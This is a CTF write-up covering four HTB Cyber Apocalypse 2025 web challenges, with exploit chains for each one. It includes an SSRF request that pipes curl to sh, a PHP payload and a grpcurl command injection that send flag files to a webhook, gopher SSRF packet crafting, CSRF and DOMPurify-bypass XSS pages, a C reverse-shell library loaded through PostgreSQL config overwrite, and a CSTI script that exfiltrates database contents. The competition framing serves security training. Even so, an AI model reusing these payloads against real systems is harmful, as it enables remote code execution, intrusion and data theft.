HTB Cyber Apocalypse 2025 – Web Challenge Writeup

Over the past few days, I took part in HTB Cyber Apocalypse 2025—a multi-day CTF featuring a broad range of challenge categories. I’ve always enjoyed this event for its variety and educational value. My first experience with it dates back to 2021, and this year marks the fourth time I’ve successfully solved every web challenge.

In this writeup, I’ll share my solutions for the web challenges, covering both the intended and unintended approaches. I must admit, even the “easy” challenges weren’t trivial this year. Despite some challenges offering unintended paths that could simplify the solution, I want to give credit to the organizers for the quality and innovation of the tasks.


Cyber Attack

The challenge setup was deceptively simple: an Apache server (version 2.4.54) serving a single page that offers you the choice to “attack” either a domain or an IP. Under the hood, Apache is configured with several modules—rewrite, CGI, proxy, proxy_fcgi, and proxy_http—and the “attack” functionalities are implemented as CGI scripts:

  • attack-domain
  • attack-ip

Both scripts execute a basic ping command using Python’s os.popen, which immediately raised my attention for potential command injection. However, there are subtle differences:

  • attack-domain applies a very strict regular expression to validate domains.
  • attack-ip requires the payload to be a valid IP address via Python’s ip_address function.

A snippet of the attack-domain script looks like this:

# attack-domain
import cgi
import os
import re

def is_domain(target):
    return re.match(r'^(?!-)[a-zA-Z0-9-]{1,63}(?<!-)\.[a-zA-Z]{2,63}$', target)
(...)
elif is_domain(target):
    count = 1
    os.popen(f'ping -c {count} {target}')
    print(f'Location: ../?result=Succesfully attacked {target}!')
else:
    print(f'Location: ../?error=Hey {name}, watch it!')
(...)

And here’s the attack-ip counterpart:

# attack-ip
import cgi
import os
from ipaddress import ip_address

(...)
try:
    count = 1
    os.popen(f'ping -c {count} {ip_address(target)}')
    print(f'Location: ../?result=Succesfully attacked {target}!')
except:
    print(f'Location: ../?error=Hey {name}, watch it!')
(...)

An important detail was in the Apache configuration for the IP attack endpoint. The <Location "/cgi-bin/attack-ip"> block restricts access exclusively to localhost:

ServerName CyberAttack

AddType application/x-httpd-php .php

<Location "/cgi-bin/attack-ip">
    Order deny,allow
    Deny from all
    Allow from 127.0.0.1
    Allow from ::1
</Location>

Finally, the flag isn’t hidden in plain sight—it’s stored in a file whose name is randomized via a command like:

mv /flag.txt /flag-$(head /dev/urandom | tr -dc A-Za-z0-9 | head -c 15).txt

This means that to read it, achieving remote code execution (RCE) is a must.


The moment I read through the code, a few things stood out:

  1. Apache Version & Context

    Noticing the Apache version and recalling the theme of the challenge, I immediately thought of Orange’s Top 10 Web Hacking Techniques of 2024. If you haven’t read Orange’s article yet, I highly recommend it before you dive further into this writeup.

  2. Header Injection Opportunity

    Both CGI scripts output a redirection header using unsanitized user input via:

    print(f'Location: ../?error=Hey {name}, watch it!')
    

    This lack of sanitization enables the injection of CRLF characters, allowing me to perform header injection—a critical step for the subsequent attack.

  3. Handler Confusion & SSRF

    By leveraging header injection, I was able to force a redirect to the restricted attack-ip endpoint. Essentially, I redirected the request by injecting a new header:

    GET /cgi-bin/attack-domain?target=123&name=123%0d%0aLocation://127.0.0.1%0d%0aContent-Type:proxy:http://127.0.0.1/cgi-bin/attack-ip%0d%0a%0d%0aX: HTTP/1.1
    Host: <server_ip>
    

    This crafted request exploited a technique known as Handler Confusion—a variant of SSRF (Server-Side Request Forgery) where the intended handler is subverted to execute a different one. In this case, it allowed me to indirectly invoke the attack-ip endpoint despite its localhost-only restriction.

  4. Bypassing IP Validation

    Even after redirecting to attack-ip, a new challenge emerged: the script uses Python’s ip_address function to ensure the payload is a valid IP. After scouring through documentation and even the CPython source code, I discovered that the function’s handling of IPv6 scope IDs could be exploited.

    By providing an IPv6 address like ::1 and appending a % (which starts the scope-id), the library’s sanitization is effectively bypassed, and I could inject additional payload after proper URL-encoding. This tiny loophole turned a simple ping command into a vector for RCE.

    For those curious about the specifics, the vulnerability leverages how the IPv6 parser processes scope IDs—allowing extra characters to slip through. (If you’d like to dive into the details, check out the CPython ipaddress.py source.)

  5. The Final Payload

    With header injection setting the stage, I URL-encoded the payload to bypass the IP check and execute arbitrary commands:

    GET /cgi-bin/attack-domain?target=123&name=%26name=123%0d%0aLocation://127.0.0.1%0d%0aContent-Type:proxy:http://127.0.0.1/cgi-bin/attack-ip%3ftarget=::1%25%60curl%2bVPS|sh%60%26name=123%0d%0a%0d%0aX: HTTP/1.1
    

    This clever chain of exploits allowed me to pivot from a seemingly benign ping to full remote code execution, ultimately reading the flag from its obfuscated location.


Eldoria Panel

The setup uses PHP-FPM, the Slim framework, and a handful of modern dependencies. In the vulnerable application, critical settings—such as the path for PHP templates—are stored in a global configuration and can be updated via an admin endpoint.

Application Overview

The application’s entry point is located in public/index.php, which bootstraps the Slim app:

// public/index.php
session_start();
require __DIR__ . '/../vendor/autoload.php';

use DI\Container;
use Slim\Factory\AppFactory;

$container = new Container();
AppFactory::setContainer($container);
$app = AppFactory::create();

require __DIR__ . '/../src/settings.php';
require __DIR__ . '/../src/bootstrap.php';
require __DIR__ . '/../src/routes.php';

$app->run();

The settings are loaded from src/settings.php, which defines a key parameter—templatesPath—that defaults to a local templates directory but is later modifiable:

// src/settings.php
$settings = [
    'templatesPath' => getenv('CRAFT_TEMPLATES_PATH') ?: __DIR__ . '/../templates',
    // ... other settings like the DB configuration
];
$GLOBALS['settings'] = $settings;

Routing is defined in src/routes.php. One key route is /dashboard, which renders a PHP template based on the current templatesPath:

$app->get('/dashboard', function (Request $request, Response $response, $args) {
    $html = render($GLOBALS['settings']['templatesPath'] . '/dashboard.php');
    $response->getBody()->write($html);
    return $response;
})->add($authMiddleware);

The helper function render() first checks if the file exists before including its content:

function render($filePath) {
    if (!file_exists($filePath)) {
        return "Error: File not found.";
    }
    $phpCode = file_get_contents($filePath);
    ob_start();
    eval("?>" . $phpCode);
    return ob_get_clean();
}

The Vulnerability

The key vulnerability lies in the admin settings endpoint, which allows updating application configuration. The endpoint at POST /api/admin/appSettings accepts JSON data and uses an SQL query to update settings:

$app->post('/api/admin/appSettings', function (Request $request, Response $response, $args) {
    $data = json_decode($request->getBody()->getContents(), true);
    if (empty($data) || !is_array($data)) {
        $result = ['status' => 'error', 'message' => 'No settings provided'];
    } else {
        $pdo = $this->get('db');
        $stmt = $pdo->prepare("INSERT INTO app_settings (key, value) VALUES (?, ?) ON CONFLICT(key) DO UPDATE SET value = excluded.value");
        foreach ($data as $key => $value) {
            $stmt->execute([$key, $value]);
        }
        if (isset($data['template_path'])) {
            $GLOBALS['settings']['templatesPath'] = $data['template_path'];
        }
        $result = ['status' => 'success', 'message' => 'Settings updated'];
    }
    $response->getBody()->write(json_encode($result));
    return $response->withHeader('Content-Type', 'application/json');
})->add($adminApiKeyMiddleware);

Although this endpoint is intended to be protected by an admin API key (via the $adminApiKeyMiddleware), the overall design makes it possible to bypass certain checks.

Specifically, when the application later calls render() on the dashboard, it performs a file_exists() check on the provided template path. By supplying a URL with the ftp:// scheme, the check is bypassed here more details. This lets an attacker redefine the template path to point to a malicious FTP server hosting custom PHP files.

Exploitation: The Short Way

  1. Bypass File Existence Check:

    I leveraged the FTP protocol to bypass the file_exists() check. By sending a POST request to /api/admin/appSettings with the following JSON payload, I could update the template_path:

    POST /api/admin/appSettings
    Content-Type: application/json
    
    {"template_path": "ftp://user:pass@VPS:2121/"}
    
  2. Hosting Malicious PHP:

    Next, I set up a simple FTP server (using a snippet based on pyftpdlib) that served a PHP file (e.g., dashboard.php). For instance, my FTP server code looked like this:

    from pyftpdlib.authorizers import DummyAuthorizer
    from pyftpdlib.handlers import FTPHandler
    from pyftpdlib.servers import FTPServer
    
    def main():
        authorizer = DummyAuthorizer()
        authorizer.add_user("user", "pass", homedir=".", perm="elradfmwMT")
    
        handler = FTPHandler
        handler.authorizer = authorizer
    
        address = ("", 2121)
        server = FTPServer(address, handler)
    
        print(f"FTP server started on {address[0] or 'localhost'}:{address[1]}")
        server.serve_forever()
    
    if __name__ == "__main__":
        main()
    

    The malicious dashboard.php contained a payload such as:

    <?php system('curl "https://webhook/`cat /fla*`"') ?>
    

    When a victim visited the /dashboard endpoint, the application would load the PHP file from my FTP server and execute it—triggering the command to exfiltrate the flag.

The Long Way (Intended Solution)

The more “intended” solution involved a multi-stage attack:

  1. Exploiting a PHP JSON Bug:

    I crafted a CSRF form that auto-submitted a request with a malformed JSON payload. This abuse of the PHP JSON parser helped manipulate internal data.

  2. Bypassing DOMPurify:

    By configuring DOMPurify 3.1.2 with a custom setup (as detailed in techniques from Mizu’s blog), I bypassed the XSS filters that would normally block such manipulations.

    	<form id="x ">
    	<svg><style><a id="</style><img src=x onerror=alert(1)>"></a></style></svg>
    	</form>
    	<input form="x" name="namespaceURI">
    
  3. Authenticated Template Change:

    Finally, I performed a two-step fetch sequence. First, I accessed the dashboard to extract the admin API key. Then, using that key, I sent a POST request to /api/admin/appSettings to update the template_path:

    Here’s a simplified version of the intended chain:

    index.html

    <html>
      <body>
        <script>
          const win1 = window.open("http://VPS/CSRF.html");
          setTimeout(() => {
            win1.location.href = "http://127.0.0.1/dashboard";
          }, 500);
        </script>
      </body>
    </html>
    

    CSRF.html

    <html>
      <body>
        <form id="form" method="post" action="http://127.0.0.1/api/updateStatus" enctype="text/plain">
          <input name='{"garbageeeee":"' value='", "status": "<form id=\"x \">\n<svg><style><a id=\"</style><img src=x onerror=eval(atob(`${BASE64_PAYLOAD}`))>\"></a></style></svg>\n</form>\n<input form=\"x\" name=\"namespaceURI\">"}'>
        </form>
        <script>
          document.getElementById('form').submit();
        </script>
      </body>
    </html>
    

    script.js

    And finally, the JavaScript fetch to update the template path:

    fetch('/dashboard')
      .then(res => res.text())
      .then(html => {
        const apiKey = new DOMParser()
          .parseFromString(html, 'text/html')
          .getElementById('apiKey').textContent.trim();
        return fetch('/api/admin/appSettings', {
          method: 'POST',
          headers: {
            'Content-Type': 'application/json',
            'X-API-Key': apiKey
          },
          body: JSON.stringify({ template_path: "ftp://user:pass@VPS:2121/" })
        });
      });
    

    This chain of attacks effectively uses a combination of CSRF, XSS bypass, and API manipulation to change the template path and execute our custom PHP payload.


Eldoria Realms

The Eldoria Realms challenge is an intricate exploitation that spans multiple technologies—from gRPC command injection in a Go service to class pollution in a Ruby application and finally SSRF via the gopher protocol. In this writeup, I’ll break down exactly how I chained these vulnerabilities together to ultimately exfiltrate the flag.


gRPC Command Injection in the Health Check

Vulnerability Context:

The Go service (found in data_stream_api/app.go) implements the CheckHealth RPC method. This method takes two parameters: ip and port. It then constructs a shell command using these values and calls it via:

cmd := exec.Command("sh", "-c", "nc -zv "+ip+" "+port)

Since no sanitization is performed on ip or port, an attacker can inject arbitrary shell commands. For example, sending a malicious gRPC request such as:

grpcurl plaintext -proto live_data.proto \
  -d '{"ip": "`cp /fla* /tmp/flag.txt;wget --post-file /tmp/flag.txt https://webhook`", "port": "80"}' \
  localhost:50051 live.LiveDataService/CheckHealth

This payload copies the flag from its protected location to a temporary file and then uses wget to send it to an external server. The command injection happens because the unsanitized ip field is directly concatenated into the shell command.


Capturing and Analyzing the gRPC Traffic

To better understand how the malicious payload was structured, I captured the raw gRPC traffic using:

tcpdump -i lo port 50051 -w health_check.pcap

This step wasn’t part of the exploitation per se, but it allowed me to verify the structure of the gRPC packets and the exact byte sequence resulting from the injection.


Exploiting Ruby Class Pollution to Modify realm_url

Application Setup:

The Ruby application (in app.rb) features an Adventurer class with a class variable @@realm_url initialized to "http://eldoria-realm.htb". This URL is later used by the /connect-realm endpoint to perform an HTTP request via curl:

uri = URI.parse(realm_url)
stdout, stderr, status = Open3.capture3("curl", "-o", "/dev/null", "-w", "%{http_code}", uri)

The Attack Vector:

By leveraging a class pollution vulnerability via the recursive merge function Here the research, it is possible to modify the internal state of the Adventurer class. In the intended solution, a crafted payload is used to update the realm_url to a gopher URL containing our malicious data. This manipulation is done by sending a specially crafted JSON payload that exploits the recursive merge function in the Ruby code. Essentially, the payload “pollutes” the class by injecting a new realm_url under a nested key:

import json

def to_urlencoded(byte_array):
    return ''.join('%{:02X}'.format(b) for b in byte_array)

# The byte arrays (peer0_0, peer0_1, …) represent pieces of a crafted gRPC packet.
peer0_0 = bytes([
0x50, 0x52, 0x49, 0x20, 0x2a, 0x20, 0x48, 0x54, 
0x54, 0x50, 0x2f, 0x32, 0x2e, 0x30, 0x0d, 0x0a, 
0x0d, 0x0a, 0x53, 0x4d, 0x0d, 0x0a, 0x0d, 0x0a
])

peer0_1 = bytes([
0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 
0x00
])

peer0_2 = bytes([
0x00, 0x00, 0x00, 0x04, 0x01, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x7b, 0x01, 0x04, 0x00, 0x00, 
0x00, 0x01, 0x83, 0x86, 0x45, 0x98, 0x62, 0x83, 
0x77, 0x2a, 0xf9, 0xcd, 0xdc, 0xb7, 0xc6, 0x91, 
0xee, 0x2d, 0x9d, 0xcc, 0x42, 0xb1, 0x7a, 0x72, 
0x93, 0xae, 0x32, 0x8e, 0x84, 0xcf, 0x41, 0x8b, 
0xa0, 0xe4, 0x1d, 0x13, 0x9d, 0x09, 0xb8, 0xd8, 
0x00, 0xd8, 0x7f, 0x5f, 0x8b, 0x1d, 0x75, 0xd0, 
0x62, 0x0d, 0x26, 0x3d, 0x4c, 0x4d, 0x65, 0x64, 
0x7a, 0xa4, 0x9a, 0xca, 0xc9, 0x6d, 0x94, 0x31, 
0x21, 0x7b, 0xad, 0x1d, 0xa6, 0xa2, 0x45, 0x3f, 
0xaa, 0x8e, 0xa7, 0x72, 0xd8, 0x83, 0x1e, 0xa5, 
0x10, 0x54, 0xff, 0x6a, 0x4d, 0x65, 0x64, 0x5a, 
0x63, 0xb0, 0x15, 0xdc, 0x0a, 0xe0, 0x40, 0x02, 
0x74, 0x65, 0x86, 0x4d, 0x83, 0x35, 0x05, 0xb1, 
0x1f, 0x40, 0x8e, 0x9a, 0xca, 0xc8, 0xb0, 0xc8, 
0x42, 0xd6, 0x95, 0x8b, 0x51, 0x0f, 0x21, 0xaa, 
0x9b, 0x83, 0x9b, 0xd9, 0xab, 0x00, 0x00, 0x7c, 
0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 
0x00, 0x00, 0x77, 0x0a, 0x71, 0x60, 0x63, 0x70, 
0x20, 0x2f, 0x66, 0x6c, 0x61, 0x2a, 0x20, 0x2f, 
0x74, 0x6d, 0x70, 0x2f, 0x66, 0x6c, 0x61, 0x67, 
0x2e, 0x74, 0x78, 0x74, 0x3b, 0x77, 0x67, 0x65, 
0x74, 0x20, 0x2d, 0x2d, 0x70, 0x6f, 0x73, 0x74, 
0x2d, 0x66, 0x69, 0x6c, 0x65, 0x20, 0x2f, 0x74, 
0x6d, 0x70, 0x2f, 0x66, 0x6c, 0x61, 0x67, 0x2e, 
0x74, 0x78, 0x74, 0x20, 0x68, 0x74, 0x74, 0x70, 
0x73, 0x3a, 0x2f, 0x2f, 0x77, 0x65, 0x62, 0x68, 
0x6f, 0x6f, 0x6b, 0x2e, 0x73, 0x69, 0x74, 0x65, 
0x2f, 0x34, 0x66, 0x63, 0x64, 0x65, 0x31, 0x32, 
0x31, 0x2d, 0x65, 0x62, 0x32, 0x62, 0x2d, 0x34, 
0x61, 0x65, 0x62, 0x2d, 0x39, 0x61, 0x38, 0x33, 
0x2d, 0x62, 0x34, 0x66, 0x31, 0x33, 0x61, 0x65, 
0x32, 0x64, 0x62, 0x30, 0x65, 0x60, 0x12, 0x02, 
0x38, 0x30 
])

peer0_3 = bytes([
0x00, 0x00, 0x08, 0x06, 0x01, 0x00, 0x00, 0x00, 
0x00, 0x02, 0x04, 0x10, 0x10, 0x09, 0x0e, 0x07, 
0x07
])

peer0_4 = bytes([
0x00, 0x00, 0x04, 0x08, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x08, 
0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x04, 
0x10, 0x10, 0x09, 0x0e, 0x07, 0x07
])


url = 'gopher:///localhost:50051/_' + to_urlencoded(peer0_0) + to_urlencoded(peer0_1) + to_urlencoded(peer0_2) + to_urlencoded(peer0_3) + to_urlencoded(peer0_4)

payload = {
    "name": "fr3v4",
    "class": {
        "superclass": {
            "realm_url": url
        }
    }
}

print(json.dumps(payload))

When this payload is processed, the class pollution changes the effective realm_url used in subsequent operations. This URL is now a malicious gopher link, which is crafted to encapsulate the gRPC packet data that triggers our command injection again.


SSRF via gopher Protocol

After updating the realm_url, the Ruby app’s /connect-realm endpoint will attempt to access it. Instead of a normal HTTP URL, it now sees a gopher URL that points back to the vulnerable gRPC service on localhost:50051. When curl is invoked (via the Open3.capture3 call), the gopher protocol is exploited to internally forward our malicious payload. This ultimately triggers the command injection once again—this time using the Ruby application’s context—and completes the chain that exfiltrates the flag.


The Full Exploitation Chain

To summarize, the exploitation of Eldoria Realms involves:

  1. gRPC Command Injection:

    The Go service’s CheckHealth method concatenates unsanitized user input into a shell command, allowing the execution of arbitrary commands.

  2. Traffic Capture & Payload Analysis:

    Capturing raw packets helped to understand and fine-tune the command injection payload.

  3. Ruby Class Pollution:

    By crafting a JSON payload that pollutes the Adventurer class (changing @@realm_url), we force the Ruby app to use a malicious gopher URL.

  4. SSRF via gopher:

    The modified realm_url causes the /connect-realm endpoint to invoke curl on a gopher URL. This leads to an internal SSRF that re-triggers our command injection, culminating in the flag’s exfiltration.



Aurorus Archive

In this challenge I encountered a fascinating blend of modern web technologies and classic SQL injection tricks. The setup was intriguing: an Nginx frontend sits before two Node.js servers (one handling OAuth and another running an auction application), with the client side powered by Vue.js. The twist? The auction system even offers an admin interface where one can execute PostgreSQL queries. This admin functionality ultimately proved to be the final piece in a multi-step exploitation chain leading to remote code execution (RCE).

In this write-up, I’ll take you through my thought process and the multiple exploitation vectors I leveraged, from stored XSS and self-XSS via Vue Template Compiler to an inventive PostgreSQL “select only” RCE.

Environment and Architecture

The challenge setup was quite layered:

  • Front-end: A hardened nginx server that proxies to two Node.js backends.
  • OAuth Provider: A Node.js service handling registration and login flows via OAuth.
  • Auctions Application: Another Node.js service that handles bidding—with a twist.
  • Client-Side Templating: The auctions page relies on the Vue Template Compiler, which ultimately opened a door for template injection.

The design allowed a bot to log in directly on the auctions site while I could create a new account via OAuth.


Unintended Exploitation: Stored XSS via Bid Injection

The first “shortcut” I discovered was a stored XSS vulnerability on the auctions page. The endpoint at /auctions/:id/bids checks that any bid does not exceed 10 characters:

if (bid.length > 10) {
  return res.status(400).json({ success: false, message: 'Too long' });
}

However, by submitting an array instead of a simple string:

{"bid": ["'><script src='http://VPS/asd.js'></script><div>", 2]}

I managed to bypass the 10-character restriction and to escape from attribute .

<div id="auction-details-panel" class="rpg-panel" data-auction='{{ auction | dump | safe }}'>
  <div class="panel-header">

The flaw stemmed from how the template was rendered using the {{ auction | dump | safe }} filter in auctions_details.html. Once the bot visited this page, my injected script was executed—opening a direct path for further exploitation.


Leveraging PostgreSQL Select-Only RCE

By using the stored xss, we can now access admin enpoints.

The final goal of the challenge was to reach RCE via PostgreSQL. Inspired by AdeadFed’s post on “PostgreSQL Select Only RCE”, I followed these steps:

  1. Leak the Configuration: I first identified the location of the PostgreSQL configuration file.

  2. Overwrite the Config: I injected a malicious configuration that set:

    dynamic_library_path = '/tmp:$libdir'
    session_preload_libraries = 'payload.so'
    
  3. Craft the Reverse Shell Library: I wrote a small C program to spawn a reverse shell:

    #include <stdio.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include "postgres.h"
    #include "fmgr.h"
    
    #ifdef PG_MODULE_MAGIC
    PG_MODULE_MAGIC;
    #endifvoid _init() {
        int port = 8888;
        struct sockaddr_in revsockaddr;
    
        int sockt = socket(AF_INET, SOCK_STREAM, 0);
        revsockaddr.sin_family = AF_INET;
        revsockaddr.sin_port = htons(port);
        revsockaddr.sin_addr.s_addr = inet_addr("IPADDRESS");
    
        connect(sockt, (struct sockaddr *) &revsockaddr, sizeof(revsockaddr));
        dup2(sockt, 0);
        dup2(sockt, 1);
        dup2(sockt, 2);
    
        char * const argv[] = {"/bin/sh", NULL};
        execvp("/bin/sh", argv);
    }
    

    I compiled the module with:

    gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c
    
  4. Uploading and Triggering: I uploaded the compiled .so via PostgreSQL’s large object functions (lo_from_bytea and lo_export) and then triggered pg_reload_conf() to load my malicious library.

This “select only” RCE was a brilliant twist—using only read queries to gain write access and trigger code execution.


Intended Exploitation: Self-XSS via Vue Template Compiler Injection

The intended path was far more challenging. Direct XSS was blocked by a strict 10-character limit in the bid endpoint and by restrictions on breaking out of attributes. Instead, I had to craft a self-XSS payload by exploiting the Vue Template Compiler’s behavior. This vector was detailed in Matanber’s blog post on 4-char CSTI.

The idea was to use very short, four-character concatenations to rebuild a payload string. Here’s a simplified version of the Python script I used to build the injection:

#!/usr/bin/env python3
import requests, time, base64

BASE_URL = "http://83.136.251.66:54026/api/auctions/3/bids"
DLSX = "${"
DLDX = "}"
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}

def send_injection(injection):
    headers = {"Cookie": "connect.sid=YOUR_SESSION_COOKIE"}
    json_data = {"bid": injection}
    try:
        response = requests.post(BASE_URL, json=json_data, headers=headers, proxies=proxies)
        print(f"Injection sent: {injection} -> Status: {response.status_code}")
    except Exception as e:
        print(f"Error sending injection: {e}")

def main():
    injections = []
    injections.append(f"{DLSX}y=205{DLDX}")
    constructor_str = "constructor"
    injections.append(f"{DLSX}a=`{DLDX}")
    injections.append(f"{DLSX}{constructor_str[0]*4}{DLDX}")
    injections.append(f"{DLSX}`[y]{DLDX}")
    for char in constructor_str[1:]:
        injections.append(f"{DLSX}a+=`{DLDX}")
        injections.append(f"{DLSX}{char*4}{DLDX}")
        injections.append(f"{DLSX}`[y]{DLDX}")
    injections.append(f"{DLSX}a{DLDX}")
    injections.append(f"{DLSX}f=_f{DLDX}")
    injections.append(f"{DLSX}x=f`{DLDX}")
    injections.append(f"{DLSX}`[a]{DLDX}")
    injections.append(f"{DLSX}x{DLDX}")

    payload = '''fetch("http://127.0.0.1:1337/table",{method:"POST",headers:{"Content-Type":"application/x-www-form-urlencoded"},body:new URLSearchParams({tableName:"users"})}).then(r=>r.text()).then(t=>fetch("http://VPS",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({result:t})}))'''
    encoded = base64.b64encode(payload.encode()).decode()
    payload = f'''eval(atob("{encoded}"))'''
    injections.append(f"{DLSX}a=`{DLDX}")
    injections.append(f"{DLSX}{payload[0] * 4}{DLDX}")
    injections.append(f"{DLSX}`[y]{DLDX}")
    for char in payload[1:]:
        injections.append(f"{DLSX}a+=`{DLDX}")
        injections.append(f"{DLSX}{char * 4}{DLDX}")
        injections.append(f"{DLSX}`[y]{DLDX}")
    injections.append(f"{DLSX}a{DLDX}")
    injections.append(f"{DLSX}_s=x{DLDX}")
    injections.append(f"{DLSX}a)({DLDX}")

    for inj in injections:
        send_injection(inj)
        time.sleep(0.2)

if __name__ == "__main__":
    main()

This script builds the payload piece by piece with repeated 4-character injections. By reconstructing the word “constructor” and eventually the full eval(atob("…")) call, I was able to bypass the 10-character check and the attribute restrictions. Note that while this self-XSS initially only executed on the /my-bids page, with cookie jar overflow technique you can change the httponly admin cookie to set cookie for /my-bids path and when the admin bot will login again, there will be 2 session cookie: One for / route his cookie and one for /my-bids with your cookies.